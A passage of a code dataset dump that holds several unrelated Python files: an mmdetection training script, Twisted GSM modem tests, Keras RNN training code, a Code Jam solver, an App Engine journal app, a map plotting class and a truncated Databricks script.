help='train')\n parser.add_argument('-V', '--val_dir', help='val')\n parser.add_argument('-S', '--test_dir', help='test')\n parser.add_argument('-I', '--img_dir', help='images')\n parser.add_argument('-W', '--work_dir', help='work')\n parser.add_argument('-C', '--configs_dir', help='configs')\n parser.add_argument('-K', '--checkpoints_dir', help='checkpoints')\n parser.add_argument('-p', '--is_pretrained', type=bool, default=None)\n parser.add_argument('-c', '--config_file',\n help='cascade_rcnn/cascade_mask_rcnn_r50_fpn_1x_coco.py')\n parser.add_argument('-n', '--new_config_file',\n help='cascade_rcnn/cascade_mask_rcnn_r50_fpn_1x_coco_new.py')\n parser.add_argument('-k', '--checkpoint_file',\n help='cascade_rcnn/cascade_mask_rcnn_r50_fpn_1x_coco.py')\n parser.add_argument('-u', '--checkpoint_url',\n help='https://download.openmmlab.com/mmdetection/v2.0/cascade_rcnn/cascade_rcnn_r50_fpn_1x_coco/cascade_rcnn_r50_fpn_1x_coco_20200316-3dc56deb.pth')\n parser.add_argument('-e', '--seed', type=int, help='42')\n print('Command line arguments')\n cmd_args = vars(parser.parse_args()) # convert from namespace to dict\n pprint(cmd_args)\n print('Config arguments')\n if cmd_args['input'] is not None:\n with open(cmd_args['input']) as f:\n cfg_args = json.load(f)\n else:\n cfg_args = {}\n pprint(cfg_args)\n print('Arguments')\n for k, v in cmd_args.items(): # Update cfg args by cmd args\n if v is not None or k not in cfg_args:\n cfg_args[k] = v\n pprint(cfg_args)\n dataset_type = cfg_args['dataset_type']\n dataset_dir = cfg_args['dataset_dir']\n train_file = cfg_args['train_file']\n val_file = cfg_args['val_file']\n test_file = cfg_args['test_file']\n train_dir = cfg_args['train_dir']\n val_dir = cfg_args['val_dir']\n test_dir = cfg_args['test_dir']\n img_dir = cfg_args['img_dir']\n configs_dir = cfg_args['configs_dir']\n checkpoints_dir = cfg_args['checkpoints_dir']\n work_dir = cfg_args['work_dir']\n config_file = cfg_args['config_file']\n new_config_file = cfg_args['new_config_file']\n is_pretrained = cfg_args['is_pretrained']\n checkpoint_file = cfg_args['checkpoint_file']\n checkpoint_url = cfg_args['checkpoint_url']\n seed = cfg_args['seed']\n\n # Check dataset\n dataset_dir = Path(dataset_dir)\n train_path = dataset_dir / train_dir\n val_path = dataset_dir / val_dir\n test_path = dataset_dir / test_dir\n train_img_path = train_path / img_dir\n val_img_path = val_path / img_dir\n test_img_path = test_path / img_dir\n train_file_path = train_path / train_file\n val_file_path = val_path / val_file\n test_file_path = test_path / test_file\n assert dataset_dir.exists()\n assert train_path.exists()\n assert val_path.exists()\n assert test_path.exists()\n assert train_img_path.exists()\n assert val_img_path.exists()\n assert test_file_path.exists()\n assert train_file_path.exists()\n assert val_file_path.exists()\n assert test_file_path.exists()\n\n # Get dataset classes\n train_classes = get_classes(train_file_path)\n val_classes = get_classes(val_file_path)\n test_classes = get_classes(test_file_path)\n assert set(train_classes) == set(val_classes) == set(test_classes)\n classes = train_classes\n print('Dataset classes')\n print(classes)\n\n # Prepare environment\n work_path = Path(work_dir)\n work_path.mkdir(parents=True, exist_ok=True)\n checkpoints_path = Path(checkpoints_dir)\n checkpoints_path.mkdir(parents=True, exist_ok=True)\n configs_path = Path(configs_dir)\n configs_path.mkdir(parents=True, exist_ok=True)\n config_path = configs_path / config_file\n assert config_path.exists()\n new_config_path = configs_path / new_config_file\n new_config_path.parent.mkdir(parents=True, exist_ok=True)\n checkpoint_path = checkpoints_path / checkpoint_file\n # Check checkpoint (if pretrained)\n if is_pretrained and not checkpoint_path.exists():\n checkpoint_path.parent.mkdir(parents=True, exist_ok=True)\n print(f'Downloading checkpoint from {checkpoint_url} to {checkpoint_path.resolve()}')\n urllib.request.urlretrieve(checkpoint_url, checkpoint_path)\n\n # Get base config\n # Cascade Mask R-CNN https://paperswithcode.com/method/cascade-mask-r-cnn\n cfg = Config.fromfile(str(config_path.resolve()))\n print(f'Config:\\n{cfg.pretty_text}')\n\n # Update config\n # https://mmdetection.readthedocs.io/en/v2.0.0/config.html\n # 1. dataset settings\n cfg.dataset_type = dataset_type\n cfg.data_root = str(dataset_dir.resolve())\n cfg.data.train.type = dataset_type\n cfg.data.train.classes = classes\n cfg.data.train.data_root = str(train_path.resolve())\n cfg.data.train.ann_file = str(train_file_path.resolve())\n cfg.data.train.img_prefix = img_dir\n cfg.data.val.type = dataset_type\n cfg.data.val.classes = classes\n cfg.data.val.data_root = str(val_path.resolve())\n cfg.data.val.ann_file = str(val_file_path.resolve())\n cfg.data.val.img_prefix = img_dir\n cfg.data.test.type = dataset_type\n cfg.data.test.classes = classes\n cfg.data.test.data_root = str(test_path.resolve())\n cfg.data.test.ann_file = str(test_file_path.resolve())\n cfg.data.test.img_prefix = img_dir\n # 2. model settings\n cfg.model.roi_head.bbox_head[0].num_classes = len(classes)\n cfg.model.roi_head.bbox_head[1].num_classes = len(classes)\n cfg.model.roi_head.bbox_head[2].num_classes = len(classes)\n cfg.model.roi_head.mask_head.num_classes = len(classes)\n # We can still use the pre-trained Mask RCNN model though we do not need to\n # use the mask branch\n if is_pretrained:\n cfg.load_from = str(checkpoint_path.resolve())\n # # Set up working dir to save files and logs.\n cfg.work_dir = str(work_path.resolve())\n # https://mmdetection.readthedocs.io/en/latest/tutorials/customize_runtime.html\n # # The original learning rate (LR) is set for 8-GPU training.\n # # We divide it by 8 since we only use one GPU.\n cfg.optimizer.lr = 0.02 / 8\n cfg.lr_config.policy = 'step' # described in https://arxiv.org/pdf/1506.01186.pdf\n cfg.lr_config.warmup = None\n cfg.log_config.interval = 10\n # # Change the evaluation metric since we use customized dataset.\n # cfg.evaluation.metric = 'mAP'\n # # We can set the evaluation interval to reduce the evaluation times\n # cfg.evaluation.interval = 12\n # # We can set the checkpoint saving interval to reduce the storage cost\n # cfg.checkpoint_config.interval = 12\n # # Set seed thus the results are more reproducible\n cfg.seed = seed\n set_random_seed(seed, deterministic=False)\n cfg.gpu_ids = range(1)\n\n # Save new config\n cfg.dump(new_config_path.resolve())\n cfg = Config.fromfile(str(new_config_path.resolve())) # Check\n print(f'Config:\\n{cfg.pretty_text}')\n\n # Build dataset\n datasets = [build_dataset(cfg.data.train)]\n\n # Build the detector\n model = build_detector(cfg.model)\n # Add an attribute for visualization convenience\n model.CLASSES = classes\n\n print(\"CUDA CHECK\")\n torch.cuda.is_available()\n torch.cuda.current_device()\n torch.cuda.device(0)\n torch.cuda.device_count()\n torch.cuda.get_device_name(0)\n print(\"START STUDY\")\n train_detector(model, datasets, cfg, distributed=False, validate=True)\n","sub_path":"train_mmdet.py","file_name":"train_mmdet.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543807668","text":"from twisted.internet.defer import inlineCallbacks\nfrom twisted.trial.unittest import TestCase\n\nfrom txgsm.tests.base import TxGSMBaseTestCase, LogCatcher\nfrom txgsm.txgsm import TxGSMService, TxGSMProtocol\n\nfrom mock import Mock\n\n\nclass TxGSMTestCase(TxGSMBaseTestCase):\n\n timeout = 1\n\n @inlineCallbacks\n def test_configure_modem(self):\n d = self.modem.configure_modem()\n self.assertExchange(['AT+CMGF=0'], ['OK'])\n self.assertExchange(['ATE0'], ['OK'])\n self.assertExchange(['AT+CMEE=1'], ['OK'])\n self.assertExchange(['AT+WIND=0'], ['OK'])\n self.assertExchange(['AT+CSMS=1'], ['OK'])\n self.assertExchange(['AT+CSQ'], ['OK'])\n response = yield d\n self.assertEqual(response, ['OK'])\n\n @inlineCallbacks\n def test_send_sms(self):\n d = self.modem.send_sms('+27761234567', 'hello world')\n self.assertCommands(['AT+CMGS=23'])\n self.reply('> ', delimiter='')\n [pdu_payload] = self.get_next_commands()\n self.reply('OK')\n response = yield d\n self.assertEqual(response, ['OK'])\n\n @inlineCallbacks\n def test_send_multipart_sms(self):\n d = self.modem.send_sms('+27761234567', '1' * 180)\n self.assertCommands(['AT+CMGS=153'])\n self.reply('> ', delimiter='')\n [pdu_payload] = self.get_next_commands()\n self.reply('OK')\n self.assertCommands(['AT+CMGS=43'])\n self.reply('> ', delimiter='')\n [pdu_payload] = self.get_next_commands()\n self.reply('OK')\n response = yield d\n self.assertEqual(response, ['OK'])\n\n @inlineCallbacks\n def test_ussd_session(self):\n d = self.modem.dial_ussd_code('*100#')\n self.assertExchange(\n input=['AT+CUSD=1,\"*100#\",15'],\n output=[\n 'OK',\n ('+CUSD: 2,\"Your balance is R48.70. Out of Airtime? '\n 'Dial *111# for Airtime Advance. T&Cs apply.\",255')\n ])\n response = yield d\n self.assertEqual(response[0], 'OK')\n self.assertTrue(response[1].startswith('+CUSD: 2'))\n\n def test_dealing_with_unexpected_events(self):\n with LogCatcher() as catcher:\n self.reply('+FOO')\n [err_log] = catcher.logs\n self.assertTrue('Unsollicited response' in err_log['message'][0])\n self.assertTrue('+FOO' in err_log['message'][0])\n\n\nclass TxGSMServiceTestCase(TestCase):\n\n def setUp(self):\n self.mock_serial = Mock()\n self.service = TxGSMService('/dev/foo', bar='baz')\n self.service.serial_port_class = self.mock_serial\n\n @inlineCallbacks\n def test_start_service(self):\n d = self.service.onProtocol\n self.service.startService()\n protocol = yield d\n self.assertTrue(isinstance(protocol, TxGSMProtocol))\n self.assertTrue(self.mock_serial.called)\n [init_call] = self.mock_serial.call_args_list\n args, kwargs = init_call\n proto, device, reactor = args\n self.assertEqual(device, '/dev/foo')\n self.assertEqual(kwargs, {'bar': 'baz'})\n\n def test_stop_service(self):\n self.service.startService()\n self.service.port.loseConnection = Mock()\n self.service.stopService()\n self.assertTrue(self.service.port.loseConnection.called)\n","sub_path":"txgsm/tests/test_txgsm.py","file_name":"test_txgsm.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467538119","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 13 19:31:00 2019\n\nThis file compiles and fits all the different models of RNN implemented for this project (except\ndynamic-RNN).\nModel results are written to a .hdf5 formatted files and can be loaded_back for additional\nanalysis.\nNOTE !!!\nSomething with the current version of Keras in conda environment has been causing an error.\nYou should install the Keras version 2.1.2. Run the the following commands on your terminal\npip uninstall keras\nconda install -c conda-forge keras==2.1.2\n\n@author: berkaypolat\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential,load_model\nfrom keras.layers import LSTM, Dropout, Dense, Activation, TimeDistributed\nfrom keras.callbacks import ModelCheckpoint\nfrom bilstm import build_bilstm_model\nfrom grumodel import build_gru_model\nfrom lstm import build_lstm_model\n\n\"\"\"\nLoading the data and extracting useful information\n\"\"\"\ndef load_train_data(filename):\n df = pd.read_csv(filename)\n df = df.drop('Unnamed: 0', axis=1)\n\n return df.values, len(df.columns)-1\n\ndef load_validation_data(filename):\n df = pd.read_csv(filename)\n df = df.drop('Unnamed: 0', axis=1)\n return df.values\n\ndef load_test_data(filename):\n df = pd.read_csv(filename)\n df = df.drop('Unnamed: 0', axis=1)\n return df.values\n\n\"\"\"\nRetrieve hyperparameters\n\"\"\"\ndef get_hyperparameters():\n return {'batch_size': 16, 'num_classes':3, 'num_steps':10, 'num_epochs': 200}\n\n\"\"\"\nCreating a data generator class in order to feed in an\niterator object for the final model\n\"\"\"\nclass KerasBatchGenerator(object):\n\n def __init__(self, data, hyperparameters, num_features):\n self.data = data\n self.num_steps = hyperparameters['num_steps']\n self.batch_size = hyperparameters['batch_size']\n self.num_classes = hyperparameters['num_classes']\n self.current_idx = 0\n if(self.batch_size == 1):\n self.skip_step = 1\n else:\n self.skip_step = hyperparameters['num_steps']\n self.num_features = num_features\n\n def generate(self):\n x = np.zeros((self.batch_size, self.num_steps, self.num_features))\n y = np.zeros((self.batch_size, self.num_steps, self.num_classes))\n while True:\n for i in range(self.batch_size):\n if self.current_idx + self.num_steps >= len(self.data):\n self.current_idx = 0\n\n x[i, :, :] = self.data[self.current_idx : self.current_idx + self.num_steps, 0:self.num_features]\n temp_y = self.data[self.current_idx:self.current_idx + self.num_steps, -1]\n y[i, : , :] = to_categorical(temp_y, num_classes = self.num_classes)\n self.current_idx += self.skip_step\n\n yield x,y\n\n\"\"\"\nRun and Compile the LSTM NN\n\"\"\"\ndef run_model(model_name, model, data_length, generators, hyperparameters):\n train_len, valid_len = data_length['train'], data_length['validation']\n train_gen, valid_gen = generators['train_data_generator'], generators['validation_data_generator']\n batch_size, num_epochs = hyperparameters['batch_size'], hyperparameters['num_epochs']\n num_steps = hyperparameters['num_steps']\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['categorical_accuracy'])\n if (model_name == 'GRU'):\n filepath = 'gru_model_history/model-{epoch:02d}.hdf5'\n elif(model_name == 'BILSTM'):\n filepath = 'bilstm_model_history/model-{epoch:02d}.hdf5'\n else:\n filepath = 'lstm_model_history/model-{epoch:02d}.hdf5'\n #can be convert to True for saving best model\n checkpoints = ModelCheckpoint(filepath=filepath, save_best_only=True, verbose=1)\n model_history = model.fit_generator(train_gen.generate(), train_len//(batch_size*num_steps), num_epochs,\n validation_data= valid_gen.generate(),\n validation_steps= valid_len//(batch_size*num_steps), callbacks=[checkpoints])\n\n return model_history\n\n\"\"\"\nGenerates and runs the models\n\"\"\"\ndef call_models(model_lst):\n models_history = []\n hyperparameters = get_hyperparameters()\n train_data, num_features = load_train_data('all_training_processed.csv')\n validation_data = load_validation_data('all_dev_processed.csv')\n\n for model_name in model_lst:\n train_data_generator = KerasBatchGenerator(train_data, hyperparameters, num_features)\n validation_data_generator = KerasBatchGenerator(validation_data, hyperparameters, num_features)\n if(model_name == 'GRU'):\n model = build_gru_model(True, 200, 100, num_features, hyperparameters)\n elif(model_name == 'BILSTM'):\n model = build_bilstm_model(True, 200, 100, num_features, hyperparameters, merge_mode='concat')\n else:\n model = build_lstm_model(True,200,100,num_features, hyperparameters)\n\n data_length = {'train':len(train_data), 'validation':len(validation_data)}\n generators = {'train_data_generator': train_data_generator, 'validation_data_generator':validation_data_generator}\n models_history.append(run_model(model_name,model,data_length,generators, hyperparameters))\n\n return models_history\n\n\"\"\"\nGet train loss and validation loss values for each epoch\nThe History Object keys are:\n['val_loss', 'val_categorical_accuracy', 'loss', 'categorical_accuracy']\n\"\"\"\ndef get_loss_tables(history_lst, model_lst):\n loss_table = pd.DataFrame()\n val_loss_table = pd.DataFrame()\n for i in range(len(model_lst)):\n loss_table[model_lst[i]] = history_lst[i].history['loss']\n val_loss_table[model_lst[i]] = history_lst[i].history['val_loss']\n return loss_table, val_loss_table\n\nif __name__ == '__main__':\n model_lst = ['LSTM', 'GRU', 'BILSTM']\n history_lst = call_models(model_lst)\n train_losses, val_losses = get_loss_tables(history_lst, model_lst)\n train_losses.to_csv(\"train_losses.csv\")\n val_losses.to_csv(\"validation_losses.csv\")\n","sub_path":"modelGenerate.py","file_name":"modelGenerate.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"254770910","text":"import itertools\nimport math\n##from math import sqrt; from itertools import count, islice\nlist=[\"\".join(seq) for seq in itertools.product(\"01\", repeat=15)]\ndivset=[]\npcandidates=[]\ncount=0\njamcoins=[]\nfor x in list:\n\t\t#q=\"10\"+x+x+x+x+\"01\"\n\t\t#n=\"10\"+x+x[::-1]+x+x[::-1]+\"01\"\n\t\t#v=\"10\"+x[::-1]+x+x+x[::-1]+\"01\"\n\t\t#y=\"10\"+x+x+x+x+\"11\"\n\t\t#z=\"11\"+x+x+x+x+\"11\"\n\t\t#w=\"11\"+x+x+x+x+\"01\"\n\t\t#pcandidates.append(q)\n\t\t#pcandidates.append(n)\n\t\t#pcandidates.append(y)\n\t\t#pcandidates.append(w)\n\t\tz=\"1\"+x+x+\"1\"\n\t\tpcandidates.append(z)\n#print(pcandidates)\n\ndef is_prime(n):\n global divset\n if n == 2:\n return True\n if n % 2 == 0 or n <= 1:\n divset.append(2)\n return False\n\n sqr = int(math.sqrt(n)) + 1\n\n for divisor in range(3, sqr, 2):\n if n % divisor == 0:\n divset.append(divisor)\n return False\n return True\n\n##def isPrime(n):\n ## return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))\nprint(\"Case #1:\")\nfor x in pcandidates:\n\tdivset=[]\n\tcount=0\n\t##print(x)\n\tfor i in range(2,11):\n\t\tnum=int(x,i)\n\t\tif(is_prime(num)==True):\n\t\t\tcount=0\n\t\t\tbreak\n\t\telse:\n\t\t\tcount+=1\n\tif(count==9):\n\t\tjamcoins.append(x)\n\t\top=x\n\t\tfor div in divset:\n\t\t\top+=\" \"+str(div)\n\t\tprint(op)\n\t\t##print(\"hey\" +str(x))\n\tif(len(jamcoins)==500):\n\t\tbreak\n\n\n\n\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_Y_SreeChaitanya_jamcoin.py","file_name":"16_0_3_Y_SreeChaitanya_jamcoin.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"223886802","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport webapp2\nimport jinja2\nimport datetime\nimport logging\nfrom google.appengine.api import users\nfrom google.appengine.ext import ndb\n\n\n# ---- These are all the global variables used in this file. ----\n# env has all the files in the directory 'html'\nenv = jinja2.Environment(loader=jinja2.FileSystemLoader('html'))\n# login_url is the url made for logging into a Google account\nlogin_url = \"\"\n# logout_url is the url made for logging out of the application\nlogout_url = \"\"\n\n# ---- This code sets up the components of the application.----\n# Each user of the application is a Writer\nclass Writer(ndb.Model):\n name = ndb.StringProperty()\n\n# Each journal Entry has a title, date, content, and whether or not it's a favorite.\nclass Entry(ndb.Model):\n title = ndb.StringProperty()\n date = ndb.DateProperty()\n content = ndb.StringProperty()\n favorite = ndb.BooleanProperty()\n # This entry belongs to this user/writer.\n writer_key = ndb.KeyProperty(Writer)\n\n\n# ---- This code renders the html files and sets up the handlers. ----\n# Renders the home page\nclass Home(webapp2.RequestHandler):\n def get(self):\n template = env.get_template('home.html')\n self.response.write(template.render())\n\n# Renders the login page\nclass Login(webapp2.RequestHandler):\n def get(self):\n user = users.get_current_user()\n # If the user is logged into Google\n if user:\n # When the user signs out, take them to the home page.\n logout_url = ' sign out ' % users.create_logout_url('/')\n writer = Writer.get_by_id(user.user_id())\n if writer:\n self.redirect('/dashboard')\n else:\n self.redirect('/registration')\n else:\n # After the user logins, take them to the dashboard.\n login_url = ' sign in ' % users.create_login_url('/registration')\n template = env.get_template('login.html')\n template_vars = {\"login_url\" : login_url}\n self.response.write(template.render(template_vars))\n\nclass Registration(webapp2.RequestHandler):\n def get(self):\n user = users.get_current_user()\n writer = Writer.get_by_id(user.user_id())\n if writer:\n self.redirect('/dashboard')\n else:\n template = env.get_template('registration.html')\n self.response.write(template.render())\n def post(self):\n user = users.get_current_user()\n if not user:\n # You shouldn't be able to get here without being logged in\n self.error(500)\n return\n writer = Writer(\n name = self.request.get('name'),\n id = user.user_id()\n )\n writer.put()\n self.redirect('/dashboard')\n\n# Renders the dashboard page\nclass Dashboard(webapp2.RequestHandler):\n def get(self):\n # Who is the current writer?\n user = users.get_current_user()\n writer = Writer.get_by_id(user.user_id())\n\n if not writer:\n self.redirect('/registration')\n\n # When the user signs out, take them to the home page.\n logout_url = ' sign out ' % users.create_logout_url('/')\n\n # Find all the Entries that belong to the current writer.\n all_entries = Entry.query(Entry.writer_key == writer.key)\n # Limit to the first 9 recent entries!!!! (fetch_page be able to show more)\n first_nine_entries = all_entries.order(-Entry.date).fetch(9)\n\n # Template variables to use and display in dashboard.html\n template_vars = {\n \"display_entries\" : first_nine_entries,\n \"name\" : writer.name,\n \"logout_url\" : logout_url\n }\n\n # Render the dashboard template\n template = env.get_template('dashboard.html')\n self.response.write(template.render(template_vars))\n\n# # Renders the favorites page\nclass Favorites(webapp2.RequestHandler):\n def get(self):\n # Who is the current writer?\n user = users.get_current_user()\n writer = Writer.get_by_id(user.user_id())\n\n # Find all the Entries that belong to the current writer.\n favorite_entries = Entry.query(Entry.writer_key == writer.key, Entry.favorite == True)\n # Limit to the first 20 recent entries!!!! (fetch_page be able to show more)\n first_nine_entries = all_entries.order(-Entry.date).fetch(20)\n template = env.get_template('favorites.html')\n self.response.write(template.render())\n\nclass NewEntry(webapp2.RequestHandler):\n def get(self):\n template = env.get_template('new_entry.html')\n self.response.write(template.render())\n def post(self):\n user = users.get_current_user()\n # Get the information from the form and make it into an entry object\n date_array = self.request.get('date').split(\"-\")\n\n entry = Entry(\n title = self.request.get('title'),\n # Need to change from string input to date object.\n # Reference: https://stackoverflow.com/questions/2803852/python-date-string-to-date-object\n # https://stackoverflow.com/questions/16476484/convert-unicode-data-to-int-in-python\n date = datetime.date(int(date_array[0]), int(date_array[1]), int(date_array[2])),\n content = self.request.get('content'),\n writer_key = Writer.get_by_id(user.user_id()).key\n )\n entry.put()\n self.redirect('/dashboard')\n\n# Renders the monthly collections page\nclass Collections(webapp2.RequestHandler):\n def get(self):\n template = env.get_template('collections.html')\n self.response.write(template.render())\n\napp = webapp2.WSGIApplication([\n ('/', Home),\n ('/login', Login),\n ('/registration', Registration),\n ('/dashboard', Dashboard),\n ('/collections', Collections),\n ('/favorites', Favorites),\n ('/new_entry', NewEntry)\n # ('/entry', DisplayEntry) # how to make these entry urls unique?\n], debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587037527","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\nimport matplotlib\nfrom Common import Common\nfrom Define import Define\nimport sys\n\nclass CreateStatisticalMap(object):\n\n\n def __init__(self, startDate, finishDate, ncdata, reference, mode, iniReader, log):\n \"\"\"\n create Statistical Map\n :param startDate: 'yyyyMMddHHmm'\n :param finishDate: 'yyyyMMddHHmm'\n :param ncdata: object of Data Class\n :param reference: reference name\n :param mode: map scan mode\n :param iniReader: object of ConfigParser\n :param log: object of logger Class\n \"\"\"\n self.logger = log\n self.logger.logger.info('start generate Statistical Map')\n self.common = Common(self.logger)\n self.define = Define()\n self.ncdata = ncdata\n self.startDate = startDate\n self.finishDate = finishDate\n self.reference =reference\n self.mode = mode\n try:\n self. get_configuration(iniReader)\n self.set_map(iniReader)\n self.logger.logger.info('finish generate Statistical Map')\n except ValueError as e:\n self.logger.logger.error('%s : Value Error' % (e))\n except AttributeError:\n self.logger.logger.error('%s : Invalid Map scan mode'%(self.mode))\n self.logger.logger.info('Not draw Statistical map')\n except EnvironmentError:\n self.logger.logger.error('No Match Colors - Colors Value')\n except Exception as e:\n self.logger.logger.error('%s : Error'%(e))\n except ZeroDivisionError:\n self.logger.logger.error('%s : Zero Division Error'%(self.map_interval))\n\n def get_configuration(self, iniReader):\n \"\"\"\n extract Statistical Map information in .ini file\n :param iniReader: object of ConfigParser\n \"\"\"\n self.title = iniReader.iniReader['map']['title']\n self.colors = iniReader.iniReader['map']['colors'].split(',')\n self.colorbar_value = iniReader.iniReader['map']['colorbar_value'].split(',')\n self.map_interval = float(iniReader.iniReader['map']['map_interval'])\n if self.map_interval == 0:\n raise ZeroDivisionError\n for i, value in enumerate(self.colorbar_value):\n self.colorbar_value[i] = int(value)\n if len(self.colorbar_value) != len(self.colors):\n raise EnvironmentError\n self.colors = matplotlib.colors.ListedColormap(self.colors)\n self.norm = matplotlib.colors.BoundaryNorm(self.colorbar_value, len(self.colorbar_value))\n\n\n def set_map(self, iniReader):\n \"\"\"\n generate map and get the data and draw the data in the map\n :param iniReader: object of ConfigParser\n :return: return when an invalid value(map scan mode) is received\n \"\"\"\n # scan mode에 따라 Map 생성시 크기 세팅 및 데이터 생성\n if self.mode == 'LA':\n mapTool = self.generate_map(self.define.LA)\n mapData, mapX, mapY = self.get_data(self.define.LA)\n elif self.mode == 'ELA':\n mapTool = self.generate_map(self.define.ELA)\n mapData, mapX, mapY = self.get_data(self.define.ELA)\n elif self.mode == 'FD':\n mapTool = self.generate_map(self.define.FD)\n mapData, mapX, mapY = self.get_data(self.define.FD)\n else:\n raise AttributeError\n self.draw_data(mapTool, mapData, mapX, mapY, iniReader)\n\n\n def generate_map(self, mode):\n \"\"\"\n genearte map and set map\n :param mode: map scan mode\n :return: the shape of the generated map\n \"\"\"\n plt.figure(figsize=(self.define.FIGUREX, self.define.FIGUREY))\n mapTool = Basemap(llcrnrlat=mode['minlat'], llcrnrlon=mode['minlon'], urcrnrlat=mode['maxlat'], urcrnrlon=mode['maxlon'])\n mapTool.fillcontinents(color='gray', alpha=self.define.ALPHA)\n mapTool.drawcountries()\n mapTool.drawcoastlines()\n # lon / lat grid 설정\n latRange = np.arange(-90., 90., self.define.MAPGRID)\n mapTool.drawparallels(latRange, labels=[1, 1, 1, 1], fontsize=self.define.FONTSIZE)\n lonRange = np.arange(0., 360., self.define.MAPGRID)\n mapTool.drawmeridians(lonRange, labels=[1, 0, 0, 1], fontsize=self.define.FONTSIZE)\n return mapTool\n\n def get_data(self, mode):\n \"\"\"\n store the data in its latitude / longitude in a two-dimensional array and return array\n :param mode: map scan mode\n :return: Xaxis, Yaxis, 2d array map data\n \"\"\"\n productVal, referenceVal = self.ncdata.get_value()\n # map에 보여주기 위한 2차원 배열 생성후 초기화\n arrayData = np.empty((int((mode['maxlat']-mode['minlat']) / self.map_interval),int((mode['maxlon']-mode['minlon']) / self.map_interval)))\n arrayData[:] = np.NAN\n mapX = np.arange(mode['minlon'], mode['maxlon'], self.map_interval)\n mapY = np.arange(mode['minlat'], mode['maxlat'], self.map_interval)\n # 데이터 수만큼 반복을 진행하여 2차원 배열에 저장\n for lat, lon, product, reference in zip(self.ncdata.get_lat(), self.ncdata.get_lon(), productVal, referenceVal):\n indexLat = int((lat - mode['minlat']) / self.map_interval)\n indexLon = int((lon - mode['minlon']) / self.map_interval)\n if not np.isnan(arrayData[indexLat, indexLon]):\n continue\n if indexLat >= (mode['maxlat']-mode['minlat']) / self.map_interval or indexLon >= (mode['maxlon']-mode['minlon']) / self.map_interval:\n continue\n arrayData[indexLat, indexLon] = product - reference\n maskedData = np.ma.masked_invalid(arrayData) # 유효하지 않은 값 mask 씌우기\n mapX, mapY = np.meshgrid(mapX, mapY) # 1차원 배열인 mapX, mapY를 2차원 배열의 형태로 변환하여 보여주기 위해 필요한 함수\n return maskedData, mapX, mapY\n\n def draw_data(self, mapTool, mapData, mapX, mapY, iniReader):\n \"\"\"\n draw the data in the map\n :param mapTool: the shape of generated map\n :param mapData: 2D array map data\n :param mapX: Xaxis\n :param mapY: Yaxis\n :param iniReader: object of ConfigParser\n \"\"\"\n mapX, mapY = mapTool(mapX, mapY) # mapX, mapY를 map 형태에 맞게 Mapping\n plot = mapTool.pcolormesh(mapX, mapY, mapData, norm=self.norm, cmap=self.colors)\n plot_colorbar = mapTool.colorbar(plot, location='bottom', pad=\"8%\", extend='both')\n if iniReader.showLegend == 'True':\n plot_colorbar.set_label('mm/h', x=1)\n elif iniReader.showLegend !='False' and iniReader.showLegend !='True':\n self.logger.logger.error('ini File value Error : show_legend \\n Default : False')\n # Title과 이미지 저장을 위해 사용될 날짜 값들\n self.startYear, self.startMonth, self.startDay = self.common.split_date(self.startDate)\n self.finishYear, self.finishMonth, self.finishDay = self.common.split_date(self.finishDate)\n self.set_title(iniReader)\n self.save_plot(iniReader)\n plt.close()\n\n def set_title(self, iniReader):\n \"\"\"\n set title in the map\n :param iniReader: object of ConfigParser\n \"\"\"\n plt.title('%s(%s - %s)\\n %s vs. %s(%s.%s.%s ~ %s.%s.%s)'\n %(self.title, iniReader.product, self.reference, iniReader.product, self.reference, self.startYear,\n self.startMonth, self.startDay, self.finishYear, self.finishMonth, self.finishDay))\n\n\n\n def save_plot(self, iniReader):\n \"\"\"\n save the map in image storage path\n :param iniReader: object of ConfigParser\n \"\"\"\n savepath = self.common.get_path(iniReader.savepath, iniReader.product, self.reference)\n plt.savefig('%s/ami_%s_%s_%s_map_%s%s%s_%s%s%s.png'\n %(savepath, iniReader.product, self.reference, self.mode.lower(), self.startYear,self.startMonth,\n self.startDay, self.finishYear, self.finishMonth, self.finishDay))\n\n","sub_path":"CreateStatisticalMap.py","file_name":"CreateStatisticalMap.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529832403","text":"from argparse import ArgumentParser\nimport requests\nimport json\nimport sys\n\n\nparser = ArgumentParser(\n description='Parameters used to compute most frequent pages per subdomain',\n)\n\nparser.add_argument(\"--url\", default=None, type=str, help=\"Workspace URL\")\nparser.add_argument(\"--pat\", default=None, type=str, help=\"Personal Access Token\")\nparser.add_argument(\"--path\", default=None, type=str, help=\"Absolute path to model metadata json file\")\n\nargs = parser.parse_args()\n\nworskpace_url = args.url.strip(\"/\")\n\nheaders = {\"Authorization\": f\"Bearer {args.pat}\"}\n\n\n# load model version to test\nwith open(args.path) as json_file:\n model_metadata = json.load(json_file)\n\n\n# Check current stage before transitioning\nmodel_name_and_version = {\n \"name\": 